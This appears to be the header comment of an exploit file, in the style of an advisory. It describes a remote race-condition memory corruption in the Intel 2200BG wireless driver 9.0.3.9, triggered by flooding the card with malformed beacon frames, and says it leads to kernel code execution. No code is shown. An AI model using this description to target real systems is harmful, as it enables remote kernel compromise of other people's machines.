/*
Summary:
The intel wireless mini-pci driver provided with Intel 2200BG
cards is vulnerable to a remote race condition memory corruption flaw.
Malformed beacons frame can be used to corrupt internal kernel
structures,leading to arbitrary code execution. This vulnerability is
triggered when flooding wifi card with many malformed beacons frame. The
data is copied over internal kernel structures, resulting in memory
operations being performed on attacker-controlled pointer values, like
EIP values.

Vulnerable Systems:
* Intel 2200 driver version 9.0.3.9
